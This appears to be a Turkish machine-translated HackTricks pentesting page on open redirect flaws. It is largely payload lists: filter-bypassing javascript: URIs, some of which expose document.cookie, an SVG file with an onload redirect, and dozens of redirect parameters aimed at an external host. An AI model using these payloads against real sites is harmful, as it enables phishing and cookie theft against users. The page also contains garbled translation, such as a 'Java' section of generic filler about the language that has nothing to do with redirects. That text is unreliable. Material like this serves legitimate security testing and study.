hacktricks/pentesting-web/open-redirect.md
2024-02-10 18:14:16 +00:00

13 KiB
Raw Blame History

AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

ık yönlendirme

Localhost veya keyfi alan adına yönlendirme

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

XSS için Açık Yönlendirme

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

Open Redirect svg dosyaları yükleyerek

Bir web uygulamasında open redirect zafiyeti, kullanıcıyı güvenli olmayan bir URL'ye yönlendiren bir saldırıdır. Bu saldırı, genellikle web uygulamasının URL parametrelerini veya yönlendirme işlemlerini doğru bir şekilde doğrulamamasından kaynaklanır.

Open redirect zafiyeti, svg dosyalarının yüklenmesiyle de istismar edilebilir. Saldırgan, svg dosyasının URL'sine hedeflenen kötü niyetli URL'yi ekleyerek, kullanıcıyı istenmeyen bir siteye yönlendirebilir.

Bu saldırıyı gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz:

  1. Hedef web uygulamasında svg dosyası yükleme işlevselliği arayın.
  2. Bir svg dosyası oluşturun ve içine hedeflenen kötü niyetli URL'yi ekleyin.
  3. Oluşturduğunuz svg dosyasını hedef web uygulamasına yükleyin.
  4. Svg dosyasının URL'sini alın ve hedeflenen kullanıcıyı yönlendirmek için kullanın.

Bu saldırıyı gerçekleştirmek için, hedef web uygulamasının open redirect zafiyetine sahip olması ve svg dosyalarını yüklemeye izin vermesi gerekmektedir. Bu nedenle, bu saldırıyı gerçekleştirmeden önce hedef web uygulamasını dikkatlice analiz etmek önemlidir.

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Ortak enjeksiyon parametreleri

Web uygulamalarını test ederken, sıklıkla karşılaşılan bazı enjeksiyon parametreleri vardır. Bu parametreler, saldırganların web uygulamalarına saldırmak için kullandığı yaygın enjeksiyon noktalarını temsil eder. Aşağıda, en sık kullanılan enjeksiyon parametrelerinin bir listesini bulabilirsiniz:

  • URL Parametreleri: Web uygulamalarında sıklıkla kullanılan parametrelerdir. Örnek olarak, ?id=1 şeklindeki bir URL parametresi verilebilir.

  • Form Parametreleri: Web formlarında kullanılan parametrelerdir. Kullanıcıdan alınan verileri sunucuya göndermek için kullanılırlar.

  • HTTP Başlıkları: HTTP isteklerinde kullanılan başlıklardır. Örneğin, Referer veya User-Agent gibi başlıklar enjeksiyon için kullanılabilir.

  • Çerezler: Web uygulamalarında kullanılan çerezler, kullanıcının tarayıcısında saklanan verilerdir. Saldırganlar, çerezleri manipüle ederek enjeksiyon saldırıları gerçekleştirebilirler.

  • Veritabanı Sorguları: Web uygulamaları genellikle veritabanı sorguları kullanır. Saldırganlar, bu sorgulara enjeksiyon yaparak veritabanı üzerinde istedikleri işlemleri gerçekleştirebilirler.

  • Komut Satırı Parametreleri: Web uygulamaları bazen komut satırı parametrelerini kullanır. Saldırganlar, bu parametreleri manipüle ederek sistemde komut çalıştırabilirler.

Bu enjeksiyon parametrelerini dikkatlice inceleyerek, web uygulamalarında olası güvenlik açıklarını tespit etmek ve saldırıları önlemek mümkündür.

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Kod örnekleri

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

Java, birçok platformda çalışabilen, nesne yönelimli bir programlama dilidir. Java, güvenlik, taşınabilirlik ve performans gibi özellikleriyle popülerdir. Java, web uygulamaları, mobil uygulamalar, oyunlar ve daha birçok alanda kullanılır.

Java, açık kaynaklı bir dil olup, geniş bir kütüphane ve araç setine sahiptir. Bu nedenle, Java ile çeşitli projeler geliştirmek kolaydır. Java, platform bağımsız olduğu için, bir kez yazılan kodun farklı işletim sistemlerinde çalışması mümkündür.

Java, güvenlik açısından da önemli bir role sahiptir. Java, otomatik bellek yönetimi ve güvenlik kontrolleri gibi özellikleriyle, kötü amaçlı yazılımlara karşı koruma sağlar. Ancak, güvenlik açıkları ve zayıf kodlama uygulamaları, Java uygulamalarının hedef olmasına neden olabilir.

Java, web uygulamalarında da sıkça kullanılır. Java Servlets ve JavaServer Pages (JSP) gibi teknolojiler, dinamik ve etkileşimli web sayfalarının geliştirilmesini sağlar. Ayrıca, Java ile web servisleri oluşturmak ve kullanmak da mümkündür.

Java, geniş bir topluluğa sahip olduğu için, sorunlarınızı çözmek için birçok kaynak bulabilirsiniz. Java geliştirme ortamları (IDE'ler) ve hata ayıklama araçları da mevcuttur, bu da geliştirme sürecini kolaylaştırır.

Java, güçlü ve esnek bir programlama dilidir. Yüksek performanslı uygulamalar geliştirmek için kullanılabilir. Java'nın zengin kütüphane ve araç seti, geliştirme sürecini hızlandırır ve kod tekrarını azaltır. Bu nedenle, Java, birçok geliştiricinin tercih ettiği bir dil haline gelmiştir.

response.redirect("http://mysafedomain.com");

PHP

PHP, Hypertext Preprocessor olarak da bilinen, web uygulamaları geliştirmek için kullanılan bir betik dildir. Açık kaynaklı bir dildir ve genellikle sunucu taraflı programlama için tercih edilir. PHP, HTML içine gömülebilir ve veritabanı işlemleri gibi çeşitli görevleri yerine getirebilir.

ık Yönlendirme Zafiyeti

ık yönlendirme zafiyeti, web uygulamalarında yaygın bir güvenlik açığıdır. Bu zafiyet, kullanıcıyı başka bir URL'ye yönlendirmek için kullanılan bir parametrenin güvenli bir şekilde doğrulanmamasından kaynaklanır. Bu, saldırganın kullanıcıyı kötü niyetli bir web sitesine veya sahte bir oturum açma sayfasına yönlendirmesine olanak tanır.

ık yönlendirme zafiyetini sömürmek için, saldırgan genellikle hedef web uygulamasında bulunan bir açık yönlendirme parametresini manipüle eder. Bu parametre, genellikle URL'nin sonunda bulunan bir değerdir. Saldırgan, bu değeri değiştirerek kullanıcıyı istediği bir URL'ye yönlendirebilir.

Örneğin, aşağıdaki URL'de "redirect" parametresi açık yönlendirme zafiyeti içerebilir:

https://example.com/login?redirect=https://malicious-site.com

Bu durumda, kullanıcı oturum açtıktan sonra, web uygulaması onu "https://malicious-site.com" adresine yönlendirecektir. Saldırgan, bu zafiyeti kullanarak kullanıcıları kötü niyetli sitelere yönlendirebilir ve kimlik avı saldırıları gerçekleştirebilir.

ık yönlendirme zafiyetini önlemek için, web uygulamaları giriş parametrelerini güvenli bir şekilde doğrulamalı ve güvenli URL yönlendirmeleri sağlamalıdır. Bu, kullanıcıların güvenli bir şekilde doğrulanmış ve güvenli bir şekilde yönlendirildiği anlamına gelir.

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Araçlar

Kaynaklar

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: